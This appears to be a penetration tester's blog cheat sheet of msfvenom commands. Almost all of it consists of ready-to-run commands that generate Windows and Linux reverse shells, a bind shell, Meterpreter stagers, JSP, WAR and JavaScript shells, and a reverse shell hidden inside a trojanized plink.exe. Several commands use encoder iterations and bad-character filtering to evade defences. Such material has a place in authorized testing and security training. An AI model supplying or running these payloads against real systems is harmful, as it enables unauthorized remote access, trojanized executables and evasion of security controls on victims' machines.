MSFvenom Cheetsheet

My various MSFvenom commands to generate shellcode, reverse shells, and meterpreter payloads that I end up using over, and over, and over, and over...


Generic Shellcode

msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT=443 -f c -e generic/none

Windows Reverse TCP Shell (Shellcode x86)

Only use this one if payload size is no problem and you can't determine the bad chars:

msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT=443 -f c -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40"

Windows Reverse TCP Shell Embedded in `plink.exe`

msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=443 -f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-binaries/plink.exe -o burmat_embedded.exe

Bind Shell Shellcode

I don't use bind shells often, but sometimes it's easier to open a port than issue a reverse connection:

msfvenom -p windows/shell_bind_tcp RHOST= LPORT=1337 -b '\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40' -f python


Oddball reverse shells that can trip you up. Those "Wait, I have done this before?" moments. Like when you see Tomcat running with default credentials or a ColdFusion Site (fuck me...)

JSP Reverse Shell

msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT=443 -f raw -o burmat.jsp

JavaScript Reverse Shells

If you are attacking a Windows host:

msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=443 -f js_le -e generic/none

If you are attacking a Linux host:

msfvenom -p linux/x86/shell_reverse_tcp LHOST= LPORT=443 CMD=/bin/bash -f js_le -e generic/none

WAR (Java) Reverse Shell

msfvenom -p java/shell_reverse_tcp LHOST= LPORT=443 -f war -o burmat.war


Don't just copy and paste - learn and understand the syntax. These will all be for x86 machines, so just swap it up to x64 to suite your needs.

Windows Meterpreter Payload

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST= LPORT=443 -f exe -o burmat.exe

Windows Meterpreter Reverse HTTPS Payload (x86)

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_https LHOST= LPORT=443 -e x86/shikata_ga_nai -b '\x00' -f exe -o burmat.exe

Linux Meterpreter Stager

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT=443 -f elf -o burmat

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